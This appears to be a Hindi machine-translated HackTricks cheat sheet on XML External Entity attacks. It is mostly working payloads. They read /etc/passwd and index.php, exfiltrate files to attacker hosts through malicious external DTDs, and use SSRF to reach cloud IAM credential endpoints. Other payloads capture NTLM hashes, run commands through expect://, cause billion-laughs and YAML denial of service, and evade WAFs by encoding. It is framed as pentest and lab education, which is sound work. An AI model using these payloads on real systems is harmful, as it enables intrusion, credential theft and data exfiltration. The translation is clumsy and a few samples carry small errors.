XXE - XEE - XML External Entity

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

XML Basics

XML एक मार्कअप भाषा है जो डेटा स्टोरेज और परिवहन के लिए डिज़ाइन की गई है, जिसमें एक लचीला संरचना है जो वर्णनात्मक नामित टैग का उपयोग करने की अनुमति देती है। यह HTML से भिन्न है क्योंकि यह पूर्वनिर्धारित टैग सेट से सीमित नहीं है। XML का महत्व JSON के उछाल के साथ कम हो गया है, भले ही इसकी प्रारंभिक भूमिका AJAX प्रौद्योगिकी में थी।

  • एंटिटी के माध्यम से डेटा प्रतिनिधित्व: XML में एंटिटी डेटा का प्रतिनिधित्व करने की अनुमति देती है, विशेष वर्ण जैसे &lt; और &gt;, जो < और > का संघर्ष टैग प्रणाली के साथ टकराव रोकने के लिए हैं।

  • XML तत्वों की परिभाषा: XML तत्वों की परिभाषा की अनुमति है, जिसमें तत्वों को कैसे संरचित किया जाना चाहिए और उनमें कौन सामग्री हो सकती है, किसी भी प्रकार की सामग्री से विशेष बच्चा तत्वों तक।

  • दस्तावेज़ प्रकार परिभाषा (DTD): DTD XML में दस्तावेज़ की संरचना और उसमें शामिल किए जा सकने वाले डेटा के प्रकार की परिभाषा के लिए महत्वपूर्ण हैं। वे आंतरिक, बाह्य, या एक संयोजन हो सकते हैं, दस्तावेज़ को कैसे स्वरूपित किया जाए और सत्यापित किया जाए, इसका मार्गदर्शन करते हैं।

  • कस्टम और बाह्य एंटिटी: XML DTD में लचीले डेटा प्रतिनिधित्व के लिए कस्टम एंटिटी का समर्थन करता है। बाह्य एंटिटी, एक URL के साथ परिभाषित, सुरक्षा संबंधित चिंताएं उठाते हैं, विशेष रूप से XML External Entity (XXE) हमलों में, जो XML पार्सर्स के बाह्य डेटा स्रोतों को कैसे उपयोग करते हैं, का शोध करते हैं: <!DOCTYPE foo [ <!ENTITY myentity "value" > ]>

  • पैरामीटर एंटिटी के साथ XXE डिटेक्शन: XXE वंशावली की खोज के लिए, विशेष रूप से जब पार्सर सुरक्षा उपाय के कारण पारंपरिक विधियों में विफल हो जाते हैं, XML पैरामीटर एंटिटी का उपयोग किया जा सकता है। ये एंटिटी बाह्य-बैंड डिटेक्शन तकनीकों के लिए अनुमति देते हैं, जैसे DNS लुकअप या नियंत्रित डोमेन पर HTTP अनुरोध को ट्रिगर करना, विकल्पी रूप से XXE की वंशावली की पुष्टि करने के लिए।

  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>

  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>

मुख्य हमले

इन हमलों का बहुतायत अद्भुत पोर्टस्विगर्स XEE लैब्स का उपयोग करके परीक्षण किया गया था: https://portswigger.net/web-security/xxe

नई एंटिटी परीक्षण

इस हमले में मैं यह जांचने जा रहा हूँ कि क्या एक साधारण नई एंटिटी घोषणा काम कर रही है

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>

फ़ाइल पढ़ें

हम विभिन्न तरीकों से /etc/passwd पढ़ने की कोशिश करेंगे। Windows के लिए आप यह कोशिश कर सकते हैं: C:\windows\system32\drivers\etc\hosts

इस पहले मामले में ध्यान दें कि SYSTEM "**file:///**etc/passwd" भी काम करेगा।

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>

यह दूसरा मामला उपयोगी होना चाहिए अगर वेब सर्वर PHP का उपयोग कर रहा है (पोर्टस्विगर्स लैब्स का मामला नहीं)

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>

इस तीसरे मामले में ध्यान दें कि हम Element stockCheck को ANY के रूप में घोषित कर रहे हैं।

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>

निर्देशिका सूची

जावा आधारित एप्लिकेशन में एक डायरेक्टरी की सामग्री को एक्सएई के माध्यम से सूचीत किया जा सकता है जैसे कि (फ़ाइल के बजाय डायरेक्टरी के लिए केवल पूछ रहा है):

<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>

<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>

SSRF

एक XXE का उपयोग करके बादल के अंदर एक SSRF का दुरुपयोग किया जा सकता है

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

ब्लाइंड SSRF

पिछले टिप्पणीत तकनीक का उपयोग करके आप सर्वर को एक सर्वर तक पहुंचा सकते हैं जिसे आप निराश करना चाहते हैं। लेकिन, अगर यह काम नहीं कर रहा है, शायद XML एंटिटीज की अनुमति नहीं है, उस मामले में आप XML पैरामीटर एंटिटीज का प्रयास कर सकते हैं:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

"ब्लाइंड" SSRF - डेटा को आउट-ऑफ-बैंड निकालें

इस अवसर में हम सर्वर को एक नए DTD को लोड करने के लिए बनाएंगे जिसमें एक हानिकारक पेलोड होगा जो एक फ़ाइल की सामग्री को HTTP अनुरोध के माध्यम से भेजेगा (बहु-लाइन फ़ाइलों के लिए आप इसे एफ़टीपी के माध्यम से निकालने की कोशिश कर सकते हैं _ftp://_ का उपयोग करके उदाहरण के लिए इस बुनियादी सर्वर का उपयोग करें xxe-ftp-server.rb). यह व्याख्या Portswiggers lab here** पर आधारित है।**

दी गई हानिकारक DTD में, डेटा निकालने के लिए एक सिरीज़ के कदम चलाए जाते हैं:

हानिकारक DTD उदाहरण:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

इस DTD द्वारा निष्पादित चरण शामिल हैं:

  1. पैरामीटर एंटिटी की परिभाषा:

  • एक XML पैरामीटर एंटिटी, %file, बनाई गई है, /etc/hostname फ़ाइल की सामग्री को पढ़ रही है।

  • एक और XML पैरामीटर एंटिटी, %eval, परिभाषित की गई है। यह नया XML पैरामीटर एंटिटी, %exfiltrate, डायनामिक रूप से घोषित करती है। %exfiltrate एंटिटी को अटैकर के सर्वर पर एक HTTP अनुरोध करने के लिए सेट किया जाता है, URL के क्वेरी स्ट्रिंग में %file एंटिटी की सामग्री को पारित करते हुए।

  1. एंटिटी का निष्पादन:

  • %eval एंटिटी का उपयोग किया जाता है, जिससे %exfiltrate एंटिटी के डायनामिक घोषणा का निष्पादन होता है।

  • फिर %exfiltrate एंटिटी का उपयोग किया जाता है, जिससे निर्दिष्ट URL पर फ़ाइल की सामग्री के साथ एक HTTP अनुरोध को सक्रिय किया जाता है।

हमलावार अपने नियंत्रण में एक सर्वर पर इस दुराचारी DTD को होस्ट करता है, सामान्यत: एक URL पर जैसे http://web-attacker.com/malicious.dtd

XXE पेलोड: एक विकल्पी एप्लिकेशन को शोषित करने के लिए हमलावार एक XXE पेलोड भेजता है:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

त्रुटि आधारित (बाह्य DTD)

इस मामले में हम सर्वर को एक दुरुपयोगी DTD लोड कराने जा रहे हैं जो एक फ़ाइल की सामग्री को एक त्रुटि संदेश के अंदर दिखाएगा (यह केवल तभी मान्य है अगर आप त्रुटि संदेश देख सकते हैं)। यहां से उदाहरण।

एक दुरुपयोगी बाह्य दस्तावेज़ प्रकार परिभाषण त्रुटि संदेश, /etc/passwd फ़ाइल की सामग्री को उजागर कर सकता है, एक दुरुपयोगी बाह्य दस्तावेज़ प्रकार परिभाषण (DTD) का उपयोग करके किया जा सकता है। इसे निम्नलिखित चरणों के माध्यम से पूरा किया जाता है:

  1. एक XML पैरामीटर एंटिटी नामक file परिभाषित की जाती है, जिसमें /etc/passwd फ़ाइल की सामग्री होती है।

  2. एक XML पैरामीटर एंटिटी नामक eval परिभाषित की जाती है, जिसमें एक और XML पैरामीटर एंटिटी नामक error के लिए एक गतिशील घोषणा शामिल होती है। यह error एंटिटी, जब मूल्यांकन किया जाता है, एक अवस्थित फ़ाइल लोड करने का प्रयास करती है, जिसमें file एंटिटी की सामग्री उसका नाम होती है।

  3. eval एंटिटी को आमंत्रित किया जाता है, जिससे error एंटिटी की गतिशील घोषणा होती है।

  4. error एंटिटी को आमंत्रित करने से एक अवस्थित फ़ाइल लोड करने का प्रयास होता है, जिससे त्रुटि संदेश उत्पन्न होता है जिसमें /etc/passwd फ़ाइल की सामग्री फ़ाइल के नाम के रूप में शामिल होती है।

निम्नलिखित XML के साथ दुरुपयोगी बाह्य DTD को आमंत्रित किया जा सकता है:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

त्रुटि आधारित (सिस्टम DTD)

तो बाहरी बैंड इंटरेक्शन ब्लॉक किए जाने पर ब्लाइंड XXE वंलरेबिलिटी क्या है (बाहरी कनेक्शन उपलब्ध नहीं है)?.

XML भाषा विनिर्देश में एक खामी हो सकती है जब एक दस्तावेज़ का DTD आंतरिक और बाहरी घोषणाएँ मिलाता है। यह समस्या बाहरी रूप से घोषित एंटिटी का आंतरिक पुनर्निर्धारण संभव बनाती है, जो त्रुटि आधारित XXE हमलों को करने में सहायक होती है। ऐसे हमले बाहरी DTD में पहले से घोषित एक XML पैरामीटर एंटिटी के पुनर्निर्धारण का शिकार होते हैं, जो एक आंतरिक DTD से किया जाता है। जब सर्वर द्वारा बाहरी बैंड कनेक्शन ब्लॉक किए जाते हैं, तो हमलावरों को आक्रमण करने के लिए स्थानीय DTD फ़ाइलों पर निर्भर होना पड़ता है, संवेदनशील जानकारी प्रकट करने के लिए एक पार्सिंग त्रुटि को उत्पन्न करने का उद्देश्य रखते हैं।

समझौता करें जहां सर्वर की फ़ाइल सिस्टम में /usr/local/app/schema.dtd पर एक DTD फ़ाइल होती है, जिसमें custom_entity नामक एक एंटिटी परिभाषित होती है। एक हमलावर निम्नलिखित रूप में एक हाइब्रिड DTD प्रस्तुत करके /etc/passwd फ़ाइल की सामग्री प्रकट करने के लिए एक XML पार्सिंग त्रुटि उत्पन्न कर सकता है:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

इस DTD द्वारा निर्दिष्ट चरण निष्पादित किए जाते हैं:

  • XML पैरामीटर एंटिटी जिसका नाम local_dtd है, उसमें सर्वर की फ़ाइल सिस्टम पर स्थित बाह्य DTD फ़ाइल को शामिल किया जाता है।

  • custom_entity XML पैरामीटर एंटिटी के लिए पुनर्निर्धारण होता है, जो पहले बाह्य DTD में परिभाषित था, एक त्रुटि-आधारित XXE उत्पीड़न को ढकने के लिए। इस पुनर्निर्धारण का उद्देश्य एक पार्सिंग त्रुटि को उत्पन्न करना है, जिससे /etc/passwd फ़ाइल की सामग्री उजागर होती है।

  • local_dtd एंटिटी का उपयोग करके, बाह्य DTD को सक्रिय किया जाता है, जिसमें नए रूप में परिभाषित custom_entity शामिल होता है। इन क्रियाओं के अनुक्रम से, उत्पीड़न द्वारा लक्षित त्रुटि संदेश का उत्पादन होता है।

वास्तविक दुनिया का उदाहरण: GNOME डेस्कटॉप परिवेश का उपयोग करने वाले सिस्टमों में अक्सर /usr/share/yelp/dtd/docbookx.dtd पर एक DTD होता है जिसमें ISOamso नामक एंटिटी होती है।

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

जैसा कि यह तकनीक एक आंतरिक DTD का उपयोग करती है, आपको पहले एक मान्य DTD खोजने की आवश्यकता है। आप ऐसा कर सकते हैं जब आप सर्वर का उपयोग कर रहे हैं वही एक ओएस / सॉफ्टवेयर इंस्टॉल करके और कुछ डिफ़ॉल्ट DTDs खोजने, या सिस्टम्स के अंदर कुछ डिफ़ॉल्ट DTDs की सूची पकड़ने और जांचने के लिए कर सकते हैं:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

अधिक जानकारी के लिए देखें https://portswigger.net/web-security/xxe/blind

सिस्टम में DTDs खोजना

निम्नलिखित शानदार github रेपो में आप सिस्टम में मौजूद DTDs के पथ ढूंढ सकते हैं:

इसके अतिरिक्त, यदि आपके पास पीड़ित सिस्टम का डॉकर इमेज है, तो आप इसी रेपो के उपकरण का उपयोग करके इमेज को स्कैन कर सकते हैं और सिस्टम में मौजूद DTDs का पथ खोज सकते हैंगिथब के Readme को पढ़ें और सीखें कैसे।

java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar

Scanning TAR file /tmp/dadocker.tar

[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []

[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []

XXE के माध्यम से ऑफिस ओपन XML पार्सर

इस हमले का और विस्तृत व्याख्या के लिए, इस अद्भुत पोस्ट के दूसरे खंड की जाँच करें।

कई वेब एप्लिकेशन्स द्वारा माइक्रोसॉफ्ट ऑफिस दस्तावेज़ अपलोड करने की क्षमता प्रदान की जाती है, जो फिर इन दस्तावेज़ से कुछ विशेष विवरण निकालते हैं। उदाहरण के लिए, एक वेब एप्लिकेशन उपयोगकर्ताओं को एक XLSX प्रारूप स्प्रेडशीट अपलोड करके डेटा आयात करने की अनुमति देता है। स्प्रेडशीट से डेटा निकालने के लिए पार्सर को कम से कम एक XML फ़ाइल का पार्स करना होगा।

इस वंशाता की जाँच के लिए, एक माइक्रोसॉफ्ट ऑफिस फ़ाइल बनाना आवश्यक है जिसमें एक XXE पेलोड हो। पहला कदम एक खाली निर्देशिका बनाना है जिसमें दस्तावेज़ को अनज़िप किया जा सकता है।

जब दस्तावेज़ को अनज़िप कर दिया गया है, तो ./unzipped/word/document.xml पर स्थित XML फ़ाइल को खोलकर और संपादित करना चाहिए एक पसंदीदा पाठ संपादक में (जैसे vim)। XML को इच्छित XXE पेलोड शामिल करने के लिए संशोधित किया जाना चाहिए, जिसमें अक्सर एक HTTP अनुरोध से प्रारंभ होता है।

Jar: protocol

jar प्रोटोकॉल केवल जावा एप्लिकेशन्स के भीतर ही पहुंचने योग्य बनाया गया है। इसका उद्देश्य PKZIP आर्काइव (जैसे, .zip, .jar, आदि) के भीतर फ़ाइल एक्सेस संभव बनाना है, जो स्थानीय और दूरस्थ फ़ाइलों को सेवित करता है।

jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt

PKZIP फ़ाइल्स के भीतर फ़ाइलों तक पहुँचना XXE को उपयोग करने के लिए बहुत उपयोगी है जिसके माध्यम से सिस्टम DTD फ़ाइलों का दुरुपयोग किया जा सकता है। इस खंड को जानने के लिए देखें कि सिस्टम DTD फ़ाइलों का दुरुपयोग कैसे किया जाए

PKZIP आर्काइव के भीतर फ़ाइल तक पहुँचने के पीछे की प्रक्रिया निम्नलिखित चरणों से गुजरती है:

  1. एक HTTP अनुरोध किया जाता है ताकि निर्दिष्ट स्थान से जैसे https://download.website.com/archive.zip से जिप आर्काइव डाउनलोड किया जा सके।

  2. जिप आर्काइव को डाउनलोड करने वाला HTTP प्रतिक्रिया सिस्टम पर अस्थायी रूप से स्थानांतरित किया जाता है, सामान्यत: /tmp/... जैसे स्थान पर।

  3. फिर आर्काइव को खोलकर इसकी सामग्री तक पहुँचा जाता है।

  4. आर्काइव के भीतर विशिष्ट फ़ाइल, file.zip, पढ़ी जाती है।

  5. इस प्रक्रिया के दौरान बनाए गए किसी भी अस्थायी फ़ाइलों को हटा दिया जाता है।

इस प्रक्रिया को दूसरे चरण में रुकावट डालने के लिए एक दिलचस्प तकनीक शामिल है जिसमें सर्वर कनेक्शन को खुला रखने का उपाय असीमित समय तक किया जाता है जब आर्काइव फ़ाइल को सेवा किया जा रहा है। इस उद्देश्य के लिए इस भंडार में उपलब्ध उपकरणों का उपयोग किया जा सकता है, जिसमें एक Python सर्वर (slow_http_server.py) और एक जावा सर्वर (slowserver.jar) शामिल हैं।

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>

एक अस्थायी निर्देशिका में फ़ाइलें लिखना एक और सुरक्षा दोष को बढ़ावा देने में मदद कर सकता है जो एक पथ चलन शामिल करता है (जैसे स्थानीय फ़ाइल शामिल करें, टेम्पलेट इंजेक्शन, XSLT RCE, डेसीरियलाइज़ेशन, आदि)।

XSS

<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>

डीओएस

बिलियन हंसी हमला

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

Yaml हमला

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

चद्राकार विस्फोट हमला

NTML प्राप्त करना

Windows होस्ट पर वेब सर्वर उपयोगकर्ता के NTML हैश प्राप्त करना संभव है एक responder.py हैंडलर सेट करके:

Responder.py -I eth0 -v

और निम्नलिखित अनुरोध भेजकर

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>

छिपी हुई XXE सतहें

XInclude

जब क्लाइंट डेटा को सर्वर-साइड XML दस्तावेजों में एकीकृत किया जाता है, जैसे कि बैकएंड SOAP अनुरोधों में, तो XML संरचना पर सीधा नियंत्रण अक्सर सीमित होता है, DOCTYPE तत्व को संशोधित करने पर प्रतिबंध के कारण पारंपरिक XXE हमलों को बाधित करता है। हालांकि, XInclude हमला एक समाधान प्रदान करता है जिसके द्वारा XML दस्तावेज के किसी भी डेटा तत्व में बाह्य एंटिटियों को डालने की अनुमति होती है। यह विधि प्रभावी है जब भी केवल सर्वर द्वारा उत्पन्न XML दस्तावेज के डेटा का केवल एक हिस्सा नियंत्रित किया जा सकता है।

XInclude हमला करने के लिए, XInclude नेमस्पेस का घोषणा करनी चाहिए, और इच्छित बाह्य एंटिटी के लिए फ़ाइल पथ को निर्दिष्ट किया जाना चाहिए। नीचे एक संक्षिप्त उदाहरण दिया गया है कि इस तरह का हमला कैसे तैयार किया जा सकता है:

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

अधिक जानकारी के लिए https://portswigger.net/web-security/xxe देखें!

SVG - फ़ाइल अपलोड

उन फ़ाइलों को जो उपयोगकर्ताओं द्वारा किसी विशेष एप्लिकेशन पर अपलोड की जाती हैं, जो फिर सर्वर पर प्रोसेस की जाती हैं, उनमें XML या XML-संबंधित फ़ाइल प्रारूपों को कैसे हैंडल किया जाता है, उसमें सुरक्षा दोषों का शिकार हो सकते हैं। सामान्य फ़ाइल प्रारूप जैसे कार्यालय दस्तावेज़ (DOCX) और छवियाँ (SVG) XML पर आधारित होती हैं।

जब उपयोगकर्ता छवियाँ अपलोड करते हैं, तो ये छवियाँ सर्वर-साइड प्रोसेस या सत्यापित की जाती हैं। ऐसे एप्लिकेशन्स के लिए जो PNG या JPEG जैसे प्रारूपों की अपेक्षा कर रहे हों, सर्वर की छवि प्रोसेसिंग पुस्तकालय भी SVG छवियों का समर्थन कर सकती है। SVG, जो एक XML-आधारित प्रारूप है, हमलावादियों द्वारा दुरुपयोग किया जा सकता है ताकि वे दुरुस्त SVG छवियाँ सबमिट कर सकें, जिससे सर्वर को XXE (XML External Entity) दोषों का सामना करना पड़ सकता है।

इस तरह के एक दुरुपयोग का उदाहरण नीचे दिखाया गया है, जहां एक दुरुस्त SVG छवि सिस्टम फ़ाइलें पढ़ने का प्रयास करती है:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>

एक और तकनीक शामिल है जिसमें PHP "expect" रैपर के माध्यम से कमांड्स को निष्पादित करने का प्रयास किया जाता है:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>

दोनों मामलों में, SVG प्रारूप का उपयोग सर्वर के सॉफ़्टवेयर की XML प्रोसेसिंग क्षमताओं का शोषण करने वाले हमलों को लॉन्च करने के लिए किया जाता है, जिससे मजबूत इनपुट मान्यता और सुरक्षा उपायों की आवश्यकता को हाइलाइट किया जाता है।

अधिक जानकारी के लिए https://portswigger.net/web-security/xxe देखें!

एक PDF फ़ाइल अपलोड करें

एक XXE को शोषित करने के लिए एक PDF फ़ाइल अपलोड करने का उपयोग कैसे करें, इसे सीखने के लिए निम्नलिखित पोस्ट पढ़ें:

pagePDF Upload - XXE and CORS bypass

Content-Type: x-www-urlencoded से XML तक

यदि एक POST अनुरोध XML प्रारूप में डेटा स्वीकार करता है, तो आप उस अनुरोध में एक XXE का शोषण करने की कोशिश कर सकते हैं। उदाहरण के लिए, यदि एक सामान्य अनुरोध में निम्नलिखित शामिल है:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

फिर आप निम्नलिखित अनुरोध को सबमिट कर सकते हैं, जिससे एक ही परिणाम मिलेगा:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

Content-Type: JSON से XEE तक

अनुरोध को बदलने के लिए आप एक बर्प एक्सटेंशन उपयोग कर सकते हैं जिसका नाम है "Content Type Converter". यहाँ आप इस उदाहरण को देख सकते हैं:

Content-Type: application/json;charset=UTF-8

{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>

एक और उदाहरण यहाँ मिल सकता है।

WAF और सुरक्षा अवरोध

Base64

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

UTF-7

यह केवल तब काम करेगा अगर XML सर्वर data:// प्रोटोकॉल स्वीकार करता है।

आप यहाँ ["Encode Recipe" of cyberchef here ]([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to) UTF-7 में बदल सकते हैं।

<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

फ़ाइल:/ प्रोटोकॉल बाईपास

यदि वेब PHP का उपयोग कर रहा है, तो file:/ की बजाय आप php wrappersphp://filter/convert.base64-encode/resource= का उपयोग करके आंतरिक फ़ाइलों तक पहुँच सकते हैं।

यदि वेब Java का उपयोग कर रहा है तो आप jar: प्रोटोकॉल की जाँच कर सकते हैं।

HTML Entities

https://github.com/Ambrotd/XXE-Notes से ट्रिक आप html entities का उपयोग करके एक एंटिटी को एंटिटी के अंदर बना सकते हैं और फिर इसे एक dtd लोड करने के लिए कॉल कर सकते हैं। ध्यान दें कि उपयोग किए गए HTML Entities को संख्यात्मक होना चाहिए (जैसे [इस उदाहरण में](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\).

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>

DTD उदाहरण:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;

PHP Wrappers

Base64

निकालें index.php

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>

बाह्य संसाधन निकालें

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>

रिमोट कोड निष्पादन

यदि PHP "expect" मॉड्यूल लोड है

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

SOAP - XEE

